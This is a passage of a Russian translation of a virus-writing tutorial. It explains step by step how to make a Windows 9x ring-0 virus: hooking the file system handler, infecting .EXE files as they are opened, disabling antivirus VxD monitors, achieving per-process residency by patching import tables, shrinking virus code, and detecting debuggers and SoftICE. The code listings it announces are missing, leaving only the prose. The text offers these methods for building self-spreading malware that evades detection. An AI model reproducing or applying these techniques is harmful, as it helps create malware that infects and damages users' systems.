vxd_service занимает 2 слова, веpхнее означает номеp VxD, а нижнее - функцию, котоpую мы из этого VxD вызываем. Hапpимpе, я использую значение VMM_PageModifyPermissions:

Таким обpазом, для вызова данного сеpвиса нам нужно будет сделать следующее:

Пpодвинутый путь кодинга - это сделать макpо, котоpое упpостит это, а номеpа поместить в EQU. Hо это ваш выбоp. Эти значения фиксиpованны и одинаковы как в Win95, так и в Win98. Поэтому не беспокойтесь, одним из пpеимуществ Ring-0 является то, что вам не нужно будет искать смещение в ядpе или что-нибудь в этом pоде (как мы делали это с API), поэтому что в этом пpосто нет нужды :).

Здесь я должен отметить очень важную вещь, котоpую вы должны четко понимать, пpогpаммиpуя виpус нулевого кольца: int20h и адpес, котоpый необходим для доступа к VxD-функции, в памяти пpевpащается в что-то вpоде следующего:

Вы можете думать, что это не важно, но это не так и может создать настоящую пpоблему, так как виpус будет копиpоваться к носителю с этими CALL'ами вместо int и двойного слова, поэтому компьютеp на дpугом компьютеpе может пpосто не pаботать :(. У этой пpоблемы есть несколько pешений. Одно из них состоит в том (как это делает Win95.Padania), чтобы создать пpоцедуpу для фиксации после каждого вызова VxD сеpвиса. Дpугим путем может стать следующее: создать таблицу со всеми смещениями, котоpые надо пофиксить и сделать эти испpавления напpямую. Далее следует мой, как это сделал я в своих виpусах Garaipena и PoshKiller:

Я надеюсь, вы понимаете, что каждый VxDCall сделанный нами, должен быть упомянут здесь. Ох, и я почти забыл о дpугой важной вещи:

Ок. Тепеpь нам нужно каким-то обpазом найти место, где можно остаться pезидентным. Лично я пpедпочитаю кучу, потому что это очень пpосто закодиpовать (лень pулит!).

Это было немного инфоpмации из Win95 DDK. Давайте посмотpим пpимеp:

Тепеpь все понятно? Как утвеpждает DDK, нам будет возвpащен 0 в EAX в случае неудачи, поэтому пpовеpяйте на возможные ошибки. POP, котоpый следует после вызова очень важен, потому что большинство VxD сеpвисов не фиксят стек, так что значения, котоpые мы поместили туда пеpед вызовом, остануться там и после.

Если вызов функции пpошел успешно, мы получаем в EAX адpес, куда мы можем пеpеместить тело виpуса. Пpодолжаем.

Ладно, у нас есть виpус в памяти, готовый для того, чтобы стать pезидентным, не так ли? И у нас есть в EDI адpес, откуда начинается тело виpуса, поэтому мы можем использовать его в качестве дельта-смещения для следующей функции :). Тепеpь нам нужно пеpехватить обpаботчик файловой системы, пpавильно? Есть функция, котоpая выполняет эту pаботу. Удивлены? Инженеpы Micro$oft сделали за нас гpязную pаботу.

Это понятно? Если нет, я надеюсь, что вы поймете, взглянув на следующий код. Давайте пеpехватим файловую систему...

Мы ознакомились с "установочной" частью виpуса нулевого кольца. Тепеpь нам нужно написать обpаботчик файловой системы :). Это пpосто, но вы, возможно, так не думаете? :)

Обpаботчик файловой системы: настоящее веселье!!!

Здесь, собственно, и находится сама пpоцедуpа заpажения, но пpежде нам нужно сделать несколько вещей. Во-пеpвых, мы должны сделать копию стека, т.е. сохpанить содеpжимое ESP в EBP. После этого нам нужно вычесть 20 байтов из ESP, чтобы пофиксить указатель на стек. Давайте посмотpим итоговый код:

Тепеpь, так как наша функция вызывается системой с опpеделенными паpаметpами, мы должны запушить их, как это делал оpигинальный обpаботчик. Паpаметpы, котоpые должны быть запушены, находятся начиная с EBP+08h по EBP+1Ch (включительно) и соответствуют стpуктуpу IOREQ.

Тепеpь мы поместили все нужные паpаметpы куда надо, поэтому нам больше не нужно о них беспокоиться. Тепеpь немного инфоpмации о функции IFSFN:

В нашем пеpвом виpусе нас будет интеpесовать только 24h, то есть откpытие файла. Система вызывает эту функция очень часто. Код настолько пpост, насколько вы можете это пpедставить :).

Теперь начинается самая потеха. Когда мы узнаем, что система запрашивает открытие файла, настает наше время. Во-первых, мы должны проверить не обрабатываем ли мы наш собственный вызов... Это просто, добавьте небольшую переменную, которая решит вам эту проблему. Да, почти забыл, получите дельта-смещение :).

Теперь я продолжу рассказывать о собственно обработчике, после чего объясню, что я делаю в этих процедурах prepare_infection и infction_stuff. Сейчас мы выходим из функции обработки обращений системы. Сейчас мы должны написать процедуру, которая вызовет старый FileSystem hook. Как вы можете помнить (я надеюсь, что у вас нет склероза), мы поместили в стек все параметры, поэтому единственное, что нам нужно сделать сейчас - это загрузить в регистр старый адрес, а затем совершить по нему вызов. После этого мы добавляем к ESP 18h (чтобы получить в дальнейшем адрес возврата). Вот и все. Думаю, вы лучше это поймете, поглядев на код, поэтому вот он:

Подготовка к заражению

Это основоной аспект нашего ring-0 кода. Давайте теперь углубимся в детали программирования под ring-0. Когда мы рассматривал установленный нами обработчик файловой системы, там было два вызова. Это не обязательно, но я сделал их для того, чтобы упростить код, потому что я люблю, когда все разложено по порядку.

В первом вызове, который я назвал prepare_infection, я делаю только одну вещь по одной единственной причине. Имя, которое система дает нам в качестве параметра, это имя файла, но здесь у нас возникает одна проблема. Система дает ее нам в UNICODE, что для нам не очень полезно. Нам нужно сконвертировать его в ASCIIz, правильно. Хорошо, для этого у нас есть сервис VxD, который сделает эту работу за нас. Его название: UniToBCSPath. Далее идет исходный код.

Само заражение

Ок , здесь я хочу вам рассказать о заражении файла. Я не буду рассказывать о том, как манипулировать полями заголовка файла, не потому что я ленивый, а потому что эта глава посвящена программированию Ring-0, а не заражению PE. В этой части описывается код, начинающийся с метки infection_stuff, которую вы встретили в код обработчика файловой системы. Во-первых, мы проверяем, является ли файл, с которым мы собираемся работать .EXE или другим, неинтересным для нас файлом. Поэтому, прежде всего, мы должны найти в имени файла 0, т.е. его конец. Это очень просто написать:

Теперь у нас в EDI 0, конец ASCIIz строки, которая в нашем случае является именем файла. Теперь нам нужно проверить, является ли файл EXE, а если нет пропустить процедуру заражения. Также мы можем искать .SCR (скринсейверы), так как они тоже являются исполняемыми файлами... Ок, это ваш выбор. Вот немного кода:

Как вы можете видеть, я сравниваю EDI-4. Вы поймете почему, если взглянете на следующий простой пример:

Ок, теперь мы знаем, что файл является EXE-файлом :). Поэтому настало время убрать его аттрибуты, открыть файл, модифировать соответствующие поля, закрыть файл и восстановить аттрибуты. Все эти функции выполняет другой сервис IFS, который называется IFSMgr_Ring0_FileIO. В нем есть огромное количество функций, в том числе и те, которые нам нужны, чтобы выполнить заражение файла и тому подобное. Давайте взглянем на числовые значения, передаваемые в EAX VxD-сервису IFSMgr_Ring0_FileIO:

Симпатичные функции, не правда ли? :) Если мы взглянем на них более внимательно, они напомнят нам функции DOS int 21h. Но эти лучше :).

Хорошо, давайте сохраним старые аттрибуты файла. Как вы можете видеть, эта функция находится в списке, который я вам предоставил. Мы передаем этот параметр (4300h) через EAX, чтобы получить аттрибуты файла в ECX. Затем мы push'им его и имя файла, которое находится в ESI

Теперь мы должны их сбросить. Нет проблем. Функция для установки аттрибутов находится в этом же сервисе под номером 4301h. Как вы можете видеть, это точно такое же значение как и в DOS :).

У нас есть файл без аттрибутов, который ждет наших действий... что мы должны предпринять. Хех. Я думал, вы будете умнее. Давайте откроем его! :) Хорошо, в этой части вируса мы тоже будем вызывать IFSMgr_Ring0_FileIO, но в этот раз передадим в EAX код функции открытия файлов, который равен D500h.

Теперь в EBX у нас находится хэндл открытого файла, поэтому не будем использовать этот регистр для чего бы то ни было еще, пока не закроем файл, ок? :) Ладно, теперь настало время, чтобы считать заголовок файла и сохранить его (и манипулировать), затем обновить заголовок вируса... Ладно, здесь я объясню только как до того момента, где мы должны правильно обработать PE-заголовок, потому что это другая часть документа, а я не хочу повторяться. Хорошо, теперь я собираюсь объяснить, как поместить в наш буфер заголовок PE. Это очень легко: как вы помните, загловок PE начинается по смещению 3Ch. Следовательно, мы должны считать 4 байта (этот DWORD в 3Ch), и считать со смещения, на которое указывает прочитанная переменная, 400h байтов, что достаточно для того, чтобы вместить весь PE-заголовок. Как вы можете представить, функция для чтения файлов находится в чудесном сервисе IFSMgr_Ring0_FileIO. Ее номер можно найти в списке, который я привел выше. Параметры, передаваемые этой функции, следующие:

Теперь мы должны посмотреть, является ли файл, который мы только что посмотрели PE-файлов, взглянув на его маркер. В ESI у нас находится указатель на буфер, куда мы поместим заголовок PE, поэтому мы просто сравниваем первый DWORD в ESI с PE,0,0 (или просто PE, если использовать WORD-сравнение) ;).

Теперь вам нужно проверить, не был ли файл уже заражен ранее, и если это так, просто переходим к процедуре его закрытия. Как я сказал раньше, я пропущу код модификации PE-заголовка, так как предполагается, что вы знаете, как им манипулировать. Ладно, представьте, что вы уже модифицировали заголовок PE правильным образом в буфере (в моем коде эта переменная названна 'header'). Теперь настало время, чтобы записать новый заголовок в PE-файл. Значения, которые должны содержаться в регистрах, должны быть примерно равны тем, которые использовались в функции R0_READFILE. Ладно, как бы то ни было, я их напишу:

Мы только что записали заголовок. Теперь мы должны добавить вирус. Я решил подсоединить его прямо к концу файла, потому что мой способ модифицирования PE... Ладно, просто сделал это так. Но не беспокойтесь, это легко адаптировать под ваш метод заражения, если, как я предполагаю, вы понимаете, как все это работает. Просто помните о необходимости пофиксить все вызовы VxD перед добавление тела вируса, так как они трансформируются в инструкции call в памяти. Помните о процедуре VxDFix, которой я научил вас в этом же документе. Между прочим, так как мы добавляем тело вируса к концу файла, мы должны узнать, как много байтов он занимает. Это очень легко, для этого у нас есть функция сервиса IFSMgr_Ring0_FileIO, которая выполнит эту работу: R0_GETFILESIZE. Давайте взглянем на ее входные параметры:

И возвращает нам в EAX размер файла, чей хэндл мы передали, то есть того файла, который мы хотим заразить.

Ладно, нам осталось сделать всего лишь несколько вещей. Просто закройте файл и восстановите старые аттрибуты. Конечно, функция закрытия файла находится в сервисе IFSMgr_Ring0_FileIO (код D700h). Давайте взглянем на входные параметры:

А теперь сам код:

Теперь нам осталось только одно (рульно!). Восстановить старые аттрибуты.

Вот и все! :) Между прочим, все эти "VxDCall IFSMgr_Ring0_FileIO" лучше оформить в виде подпрограммы и вызывать ее с помощью простого вызова: это будет более оптимизированно (если вы используете макро VxDCall, который я показал вам) и это будет гораздо лучше, потому что необходимо будет фиксить только один вызов VxD-сервиса.

Код против VxD-мониторов

Ох, я должен не забыть упомянуть о парне, который обнаружил это: Super/29A. Теперь я должен объяснить в чем состоит эта крутая вещь. Это относится к уже рассматривавшемуся сервису InstallFileSystemApiHook, но не документированно ребятами из Micro$oft. Сервис InstallFileSystemApiHook возвращает нам интересную структуру:

Самое важно в этой структуре следующее:

Поэтому мы делаем рекурсивный поиск по структурам, пока не найдем самый первый, использующийся мониторами... И затем мы должны обнулить его. Код? Вот вам порция :) :

Не беспокойтесь, если вы не поймете это в первый раз: представьте, сколько я затратил времени, читая код Sexy, чтобы понять это! Ладно, мы сохранили в переменную самый верхний Hook_Info, но теперь нам надо обнулить его на время заражения, а потом восстановить. Следующий фрагмент код должен находиться между проверкой запроса системы на открытие файла и вызовом процедуры заражения файла.

Это было легко, правда? :)

Заключительные слова

Я должен поблагодарить троих людей, которые очень сильно помогли мне во время написания моего первого вируса под Ring-0: Super, Vecna и nIgr0. Ладно, что еще сказать? Гмм... да. Ring-0 - это наш сладкий сон под Win9x. Но у него ограниченная жизнь. Даже если мы, VXеры, найдем способ получить привилегии нулевого кольца в таких системах как NT, Micro$oft сделает патч или сервис-пак, чтобы пофиксить эти возможные баги. Как бы то ни было, писать вирус нулевого кольца очень интересно. Это помогло мне больше узнать о внутреннем устройстве Windoze. Я надеюсь, что это поможет также и вам. Обратите внимание, что вирусы нулевого колько очень заразны. Система постоянно пытается открыть какие-нибудь файлы. Просто взгляните на один из самых заразных и быстро распространяющихся вирусов нулевого кольца CIH.

Теперь мы обсудим интересную тему для дискуссии: перпроцессная резидентность, единственный вид резидентности, доступный под всеми Win32 платформами. Я поместил эту главу отдельно от главы Ring-3, потому что эта тема слишком сложна для такой вводной главы, такой как Ring-3.

Введение

Перпроцессная резидентность впервые была реализованна Jacky Qwerty из вирусной группы 29A в 1997 году. Кроме того, что это был первый (по мнению средств массовой информации, а не в реальности - Win32.Jacky) Win32-вирус, он также был первым резидентным Win32-вирусом, использующим никогда ранее не виданную технику: перпроцессную резидентность. Теперь вы, по-видимому, удивляетесь: 'Что же такое, ядрена матрена, эта перпроцессная резидентность?'. Я уже объяснил это в одной из статей журнала DDT#1, но здесь я проведу более глубокий анализ этого метода. Когда вы вызываете функцию API, вы используете адрес, сохраненный системой во время выполнения в таблице импортов, и меняете адрес функции API на адрес своего собственного кода, заражаещего файлы при вызове перехваченной функции. Я знаю, что это немного путанно и тяжело понять, но в вирмейкерстве все вначале выглядет сложным, хотя потом становится очень простым :).

--[DDT#1.2_4]---------------------------------------------------------------

Это единственный известный мне способ сделать Win32 вирусы резидентными. Да, вы правильно прочитали: Win32, а не Win9X. Этот способ будет также работать и под WinNT. Во-первых, вы должны знать, что такое процесс. Вещь, которая меня озадачила больше всего, что люди, начавшие программировать под Win32, знают, что это такое и часто это используют, но не знают его название. В общем, когда мы запускаем Windows-приложение, мы создаем процесс :). Очень легко поянть. И в чем состоит данная резидентность? Сначала мы должны зарезервировать память, куда поместить тело вируса. Это можно сделать с помощью функции "VirtualAlloc". Но... как перехватить функции API? Наиболее полезное решение, приходящее мне в голову состоит в том, чтобы изменять адреса в таблице импортов. С моей точки зрения, это единственный возможный путь. Поскольку в импорты можно писать, наша задача во многом облегчается, так как нам не нужна помощь никаких функций VxDCall0...

У этого вида резидентности есть и слабая сторона... так как мы опираемся на таблицу импортов, мы можем работать только с импортированными функциям, и скорость заражения очень сильно зависит от файла, который мы заразили. Например, если мы заразим CMD.EXE в WinNT и у нас будут обработчики FindFirstFile(A/W) и FindNextFile(A/W), то это позволит заразить все файлы, найденные с помощью этих функций. Это сделает наш вирус очень заразным, так как эти функции будут использоваться, когда мы выполним команду DIR под WinNT. Как бы то ни было, использовать одну перпроцессную резидентность не стоит, чтобы наш вирус был более заразным, небходимо использовать другие методы, например как в Win32.Cabanas, где заражались файлы в \WINDOWS и \WINDOWS\SYSTEM. Другим хорошим способом может быть заражение определенных файлов при первом запуске в системе...

--[DDT#1.2_4]---------------------------------------------------------------

Я написал это в декабре 1998. С тех пор я понял, как это можно сделать без резервирования памяти, но тем не менее я помещу код так, как есть, чтобы вы поняли лучше.

Обработка таблицы импортов

Далее следует структура таблицы импортов.

IMAGE_IMPORT_DESCRIPTOR

А теперь посмотрим, что об этом говорит Мэтт Питрек.

DWORD Characteristics

Когда-то это могло быть набором флагов. Тем не менее Microsoft изменила ее значение и никогда не заботилась о том, чтобы обновить WINNT.H. На самом деле это поле является смещением (RVA) массива указателей, каждый из которых указывает на структуру IMAGE_IMPORT_BY_NAME.

DWORD TimeDateStamp

Время/дата, указывающая на то, когда был создан файл.

DWORD ForwarderChain

Это поле относится к форвардингу. Форвардинг - это когда одна DLL шлет ссылку на некоторые свои функции другой DLL. Например, в WinNT NTDLL.DLL (похоже) шлет некоторые из своих экспортируемых функций KERNEL32.DLL. Это поле содержит индекс в массиве FirstThunk. Функция, проиндексированная в этом поле, будет отфорваржена другой DLL. К сожалению, формат форвардинга функций недокументирован, а пример форварднутых функций сложно найти.

DWORD Name

Это RVA на строку в формате ASCIIz, содержащую имя импортируемой DLL, например "KERNEL32.DLL" и "USER32.DLL".

PIMAGE_THUNK_DATA FirstThunk

Это поле является смещением (RVA) объединения IMAGE_THUNK_DATA. Почти в каждом случае данное объединение интерпретируется как указатель на структуру IMAGE_IMPORT_BY_NAME. Если поле не является одним из этих указателей, то это вероятно ординал. Из документации не совсем понятно, можно ли импортивать функцию по ординалу, а не по имени. Важными полями являются IMAGE_IMPORT_DESCRIPTOR - это имя импортируемой DLL и два массива указателей IMAGE_IMPORT_BY_NAME. В EXE-файле два массива (на которые указывают поля Characteristics и FirstThunk) идут параллельно друг с другом и каждый завершается NULL-элементом. Указатели в обоих массивах указывают на структуру IMAGE_IMPORT_BY_NAME.

Теперь, когда вы знаете определения Мэтта Питрека, я помещу здесь необходимый код, чтобы получать из таблицы импортов адреса API-функций и адрес, где находится смещение на функцию (которую мы хотим перехватить, но об этом чуть попозже).

Теперь мы знаем, как играть с таблицей импортов. Но нам нужно еще кое-что.

Получение базы образа во время выполнения

Одна из самых наиболее частых заблуждений - это мнение, что база образа будет всегда одной и той же или всегда будет равна 400000h. Но на самом деле, все далеко не так. Независимо от того, какая база образа будет указана в заголовке вашего файла, система может легко поменять во время запуска, поэтому мы будем пытаться получить доступ к неверному адресу и получить неожиданные результаты. Получить базу образа можно достаточно просто. Просто используйте обычную процедуру получения дельта-смещения.

Ок? Давайте представим, что, например, выполнение началось по адресу 401000h (как почти во всех слинкованных TLINK'ом файлах). Поэтому когда мы делаем POP, в EBP у нас будет что-то вроде 00401005h. Тогда что вы получите, если вычтете от него virus_start, а от результата мы снова вычтем текущий EIP (который во всех TLINKованных файлах равен 1000h)? Да, мы получим базу образа! Таким образом, мы будем делать следующее:

И не забудьте пропатчить переменную NewEIP во время заражения (если модифицируете EIP), что она всегда была равна переменной по смещению 28h заголовка PE, то есть RVA EIP программы :).

[ Мой перехватчик API-функций ]

Далее следует мое дополнение к моей процедуре GetAPI_II. Она базируется на примерно следующей структуре:

Например:

HookCreateFileA - это процедура, которая обрабатывает перехваченную функцию. Код, который я использовал с этими структурами, следующий:

Я надеюсь, что здесь все достаточно понятно :).

Универсальный перехватчик

Возможно вы помните, что есть некоторые API-функции, которые принимают последним заPUSHенным параметром указатель на файл (который может быть исполняемым), поэтому мы можем их перехватить и применить универсальный перехватчик, который сначала проверяет расширение файла, и если он исполняемый, мы можем заразить его без всяких проблем :).

Вот некоторые API-функции, которые можно перехватить с помощью этой универсальной процедуры: MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA, CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA, CopyFileExA, OpenFile.

Заключение

Если что-то непонятно, пишите мне (автору этого текста, а не переводчику! - прим. пер.). Я бы мог привести пример простого пер-процессного резидентного вируса, но единственный подобный вирус, который я написал, слишком сложен и у него слишком много фич, поэтому он будет для вас непонятен :).

Хмм.. Этот раздел должен писать Super, а не я, но так как я все же его ученик, я напишу здесь о том, что изучил за то время, что нахожусь в мире кодинга под Win32. В этой главе я буду писать больше о локальной оптимизации, чем о структурной, потому что последняя сильно зависит от вашего стиля (например, лично очень параноидально отношусь к вычислениям стека и дельта-оффсета, как вы можете видеть в моем коде, особенно в Win95.Garaipena). В этой статье много моих собственных идей и советов, которые Super дал мне во время валенсийских тусовок. Он, вероятно, лучший оптимизатор в VX-мире. Без шуток. Я не буду обсуждать здесь, как оптимизировать так сильно, как это делает он. Нет. Я только расскажу вам о самых очевидных оптимизациях, которые могут быть сделаны при кодинге под Win32. Я не буду комментировать совсем тривиальные методы оптимизации, которые уже были объяснены в моем путеводителе по написанию вирусов под MS-DOS.

Проверка равен ли регистр нулю

Я устал видеть одно и тоже постоянно, особенно в среде Win32-кодеров, и это меня просто убивает, очень медленно и очень болезненно. Например, мой разум не может переварить идею 'CMP EAX, 0'. Давайте посмотрим, почему:

Хех, я знаю, что жизнь - дерьмо, и вы тратите очень много кода на отстойные сравнения. Ок, давайте посмотрим, как решить эту проблему с помощью кода, который делает то же самое, но с меньшим количеством байтов.

Или эквивалент (но быстрее!):

Есть способ, как оптимизировать это еще большим образом, если неважно содержимое, которое окажется в другом регистре). Вот он:

Теперь вы видите? Никаких извинений, что "я не оптимизирую, потому что теряю стабильность", так как с помощью этих советов вы не будете терять ничего, кроме байтов кода :). Мы сделали процедуру на 4 байта короче (с 7 до 3)... Как? Что вы скажете об этом?

Проверка, равен ли регистр -1

Так как многие API-функции в Ring-3 возвращают вам значение -1 (OFFFFFFFh), если вызов функции не удался, и вам нужно проверять, удачно ли он прошел, вы часто должны сравнивать полученное значение с -1. Но здесь та же проблема, что и ранее - многие люди делают это с помощью 'CMP EAX, 0FFFFFFFh', хотя то же можно осуществить гораздо более оптимизированно...

Давайте посмотрим, как это можно оптимизировать:

Хех, может быть это занимает больше строк, но зато весит меньше байтов (4 байта против 7).

Сделать регистр равным -1

Есть вещь, которую делают почти все виркодеры новой школы:

Вы поняли, что это худшее, что вы могли сделать? Неужели у вас только один нейрон? Проклятье, гораздо проще установить -1 более оптимизированно:

Вы видите? Это не трудно!

Очищаем 32-х битный регистр и помещаем что-нибудь в LSW

Самый понятный пример - это то, что делают все вирусы, когда помещают количество секций в PE-файле в AX (так как это значение занимет 1 слово в PE-заголовке).

Или так:

Я все еще удивляюсь, почему все VX-еры используют эти "старую" формулы, особенно, когда у нас есть инструкция 386+, которая делает регистр равным нулю перед помещением слова в AX. Эта инструкция равна MOVZX.

Хех, мы избежали одной лишней инструкции и лишних байтов. Круто, правда?

Вызов адреса, сохраненного в переменной

Если еще одна вещь, которую делают некоторые VX-еры, и из-за которой я схожу с ума и кричу. Давайте я вам ее напомню:

Мы можем вызывать адрес напрямую, ребята... Это сохраняет байты и не используется лишний регистр.

Снова мы избавляемся от ненужной инструкции, которая занимает 2 байта, а делаем то же самое.

Веселье с push'ами

Почти то же, что и выше, но с push'ем. Давайте посмотрим, что надо и не надо делать:

Мы можем сделать то же самое, но на 1 байт меньше. Смотрите.

Круто, правда? ;) Ладно, если нам нужно push'ить много раз (если значение велико, более оптимизированно, будет более оптимизированно push'ить значение 2+ раза, а если значение мало, более оптимизированно будет push'ить его, когда вам нужно сделать это 3+ раза) одну и ту же переменную, более выгодно будет поместить ее в регистр и push'ить его. Например, если нам нужно заpushить он 3 раза, более правильным будет сксорить регистр сам с собой и затем заpushить регистр. Давайте посмотрим:

И давайте посмотрим, как прооптимизировать это:

Часто во время использования SEH нам бывает необходимо запушить fs:[0] и так далее: давайте посмотрим, как это можно оптимизировать:

Вместо это нам следует сделать следующее:

Кажется, что у нас на 7 байтов меньше! Вау!!!

Получить конец ASCIIz-строки

Это очень полезно, особенно в наших поисковых системах API-функций. И, конечно, это можно сделать гораздо более оптимизированно, чем это делается обычно во многих вирусах. Давайте посмотрим:

Этот код можно очень сильно сократить, если сделать следующим образом:

Хехехе. Полезно, коротко и выглядит красиво. Что еще нужно? :)

Работа с умножением

Например, в коде, где ищется последняя секция, очень часто встречается следующее (в EAX находится количество секций - 1):

И это сохраняет результат в EAX, правильно? Ладно, у нас есть гораздо более лучший путь сделать это с помощью всего лишь одной инструкции:

IMUL сохраняет в первом регистре результат, который получился с помощью умножения второго регистра с третьим операндом, который в данном случае был непосредственным значением. Хех, мы сохранили 4 байта, заменив две инструкции на одну!

UNICODE в ASCIIz

Есть много путей сделать это. Особенно для вирусов нулевого кольца, которые имеют доступ к специальному сервису VxD. Во-первых, я объясню, как сделать оптимизацию, если используется этот сервис, а затем я покажу метод Super'а, который сохраняет огромное количество байтов. Давайте посмотрим на типичный код (предполагая, что EBP - это указатель на структуру ioreq, а EDI указывает на имя файла):

Ладно, похоже, что здесь можно зделать только одно улучшение, заменив третью линию на следующее:

Или так :)

Хех, но я уже сказал, что Super произвел очень сильные улучшения. я не стал копировать его, получающий указатель на юникодовое имя файла, потому что его очень трудно понять, но я уловил идею. Предполагаем, что EBP - это указатель на структуру ioreq, а buffer - это буфер длиной 100 байт. Далее идет некоторый код:

Хех, первая из всех процедур (без локальной оптимизации) - 26 байтов, та же, но с локальной оптимизацие - 23 байта, а последняя процедура (со структурной оптимизацией) равна 17 байтам. Вау!!!

Вычисление VirtualSize

Это название является предлогом, чтобы показать вам другие странные опкоды, которые очень полезны для вычисления VirtualSize, так как мы должны добавить к нему значение и получить значение, которые было там до добавления. Конечно, опкод, о котором я говорю - это XADD. Ладно, ладно, давайте посмотрим неоптимизированное вычисление VirtualSize (я предполагаю, что ESI - это указатель на заголовок последней секции):

А теперь давайте посмотрим, как это будет с XADD:

С помощью XADD мы сохранили 3 байта ;). Между прочим, XADD - это инструкция 486+.

Установка кадров стека

Давайте посмотрим, как это выглядит неоптимизированно:

А если мы оптимизируем...

Интересно, не правда ли? :)

Наложение

Эта простая техника была вначале представлена Demogorgon/PS для скрытия кода. Но используя ее таким образом, который я продемонстрирую, она может помочь сэкономить немного байтов. Например, давайте представим, что есть процедура, которая устанавливаем флаг переноса, если происходит ошибка и очищает его, если таковой не произошло.

Но мы можем уменьшить размер на 1 байт, если содержимое одного из 8 регистров для нас не важно (например, давайте представим, что содержимое ECX не важно):

Мы можем избежать CLC, внеся небольшие изменения: используя TEST (с AL, так как это более оптимизированно) очистими флаг переноса, и AL не будет модифицирован :)

Красиво, правда?

Перемещение 8-битного числа в 32-х битный регистр

Почти все делают это так:

Это очень неоптимизированно... Лучше попробуйте так:

Еще лучше попробуйте так:

Все понятно? :)

Очищение переменных в памяти

Это всегда полезно. Обычно люди делают так:

Ладно, я знаю, что это дико :). Вы можете выиграть 3 байта следующим образом:

Хехехе :)

Советы и приемы

Здесь я поместил нерасклассифированные примемы оптимизирования и те, которые (как я предполагаю) вы уже знаете ;).

• Никогда не используйте директиву JUMPS в вашем коде.

• Используйте строковые операции (MOVS, SCAS, CMPS, STOS, LODS).

• Используйте 'LEA reg, [ebp+imm32]' вместо 'MOV reg, offset imm32 / add reg, ebp'.

• Пусть ваш ассемблер осуществляет несколько проходов по коду (в TASM'е /m5 будет достаточно хорошо).

• Используйте стек и избегайте использования переменных.

• Многие операции (особенно логические) оптимизированны для регистра EAX/AL

• Используйте CDQ, чтобы очистить EDX, если EAX меньше 80000000h (т.е. без знака).

• Используйте 'XOR reg,reg' или 'SUB reg,reg', чтобы сделать регистр равным нулю.

• Использование EBP и ESP в качестве индекса тратит на 1 байт больше, чем использование EDI, ESI и т.п.

• Для битовых операций используйте "семейство" BT (BT,BSR,BSF,BTR,BTF,BTS).

• Используйте XCHG вместо MV, если порядок регистров не играет роли.

• Во время push'инга все значение структуры IOREQ, используйте цикл.

• Используйте кучу настолько, насколько это возможно (адреса API-функций, временные переменные и т.д.)

• Если вам нравится, используйте условные MOV'ы (CMOVs), но они 586+.

• Если вы знаете как, используйте сопроцессор (его стек, например).

• Используйте семейство опкодов SET в качестве семафоров.

• Используйте VxDJmp вместо VxDCall для вызова IFSMgr_Ring0_FileIO (ret не требуется).

В заключение

Я ожидаю, что вы поняли по крайней мере первые приемы оптимизации в этой главе, так как именно пренебрежение ими сводит меня с ума. Я знаю, что я далеко не лучший в оптимизировании. Для меня размер не играет роли. Как бы то ни было, очевидных оптимзаций следует придерживаться, по крайней мере, чтобы продемонстрировать, что вы знаете что-то в этой жизни. Меньше ненужных байт - это в пользу вируса, поверьте мне. И не надо приводить мне аргументов, которые приводил QuantumG в своем вирусе 'Next Step'. Оптимизации, которые я вам показал, не приведут к потере стабильности. Просто попытайтесь их использовать, ок? Это очень логично, ребята.

Здесь я перечислю некоторые приемы, которые можно использовать, чтобы защитить свои вирусы и/или программы против отладчиков (всех уровней, уровня приложения и системного). Я надеюсь, что вам понравится эта глава.

Win98/NT: обнаружение отладчиков уровня приложения (IsDebuggerPresent)

Этой API-функция нет в Win95, поэтому вам нужно будет убедиться в ее наличии. Также она работает только с отладчиками уровня приложения (например, TD32). И она работает прекрасно. Давайте посмотрим, что о ней написано в справочнике по Win32 API.

Пример, демонстрирующий этот API, очень прост. Вот он.

Разве не красиво? Micro$oft сделала за нас всю работу :). Но, конечно, не ожидайте, что этот метод будет работать с SoftICE ;).

Win32: другой путь узнать, что мы находимся в контексте отладчика

Если вы взглянете на статью "Win95 Structures and Secrets", которая была написана Murkry/iKX и опубликована в Xine-3, вы поймете, что в регистре FS находится очень классная структура. Посмотрите поле FS:[20h]... Это 'DebugContext'. Просто сделайте следующее:

Таким образом, если FS:[20h] равен нулю, нас не отлаживают. Просто наслаждайтесь этим маленьким и простым методом, чтобы обнаруживать отладчики! Конечно, это нельзя применить к SoftIce.

Win32: Остановка отладчиков уровня приложения с помощью SEH

Я еще не знаю почему, но отладчики уровня приложения падают, если программа просто использует SEH. Также как и кодоэмуляторы, если вызываются исключения :). SEH, о котором я писал в DDT#1, используется для многих интересных вещей. Идите и прочитайте главу "Продвинутые Win32-техники", часть которой я посвятил SEH.

Вам потребуется сделать SEH-обработчик, который будет указывать на код, чье выполнение начнется после исключения, которого можно добиться, например, попытавшись записать что-нибудь по адресу 00000000h ;).

Хорошо, я надеюсь, что вы поняли это. Если нет... Гхрм, забудьте это ;). Также, как и методы, изложенные ранее, данный методы нельзя применить к SoftICE.

Win9X: Detect SoftICE (I)

Здесь я должен поблагодарить Super/29A, потому что это именно он рассказал мне об этом методе. Я разделил его на две части: в этой мы увидим, как это сделать из Ring-0. Я не буду помещать сюда весь исходный код вируса, потому что в нем много лишнего, но вы должны знать, что данный способ работает в Ring-0 и VxDCall должен быть восстановлен из-за проблемы обратного вызова (помните?).

Ок, мы собираемся использовать сервис VMM Get_DDB, т.е. сервис равен 00010146 (VMM_Get_DDB). Давайте посмотрим информацию об этом сервисе в SDK.

Вы, наверное, думаете, что все это значит. Очень просто. Поле Device_ID в VxD SoftIce'а всегда постоянно, так как оно зарегистрировано в Micro$oft'е, что мы можем использовать в качестве оружия против чудесного SoftIce, Его Device_ID всегда равен 202h. Поэтому нам нужно использовать следующий код:

Где NotSoftICE должно быть продолжение кода вируса, а DetectedSoftICe должна обрабатывать ситуацию, если наш враг жив :). Я не предлагаю ничего деструктивного, так как, например, на моем компьютере SoftICE постоянно активен :).

Win9X: обнаружение SoftICE (II)

Ладно, далее идет другой метод для обнаружение присутствие моего возлюбленного SoftIce, но основывающегося на той же концепции, что и раньше: 202h ;). Снова я должен поблагодарить Super'а :). Ладно, в Ralph Brown Interrupt list мы можем найти очень кульный сервис в прерывании 2Fh - 1684h.

Таким образом, вы помещаете BX в 202h и запускаете эту функцию. А затем говорите... "Эй, Билли... Как мне использовать прерывания?". Мой ответ... ИСПОЛЬЗУЙТЕ VxDCALL0!!!

Win32: обнаружение SoftICE (III)

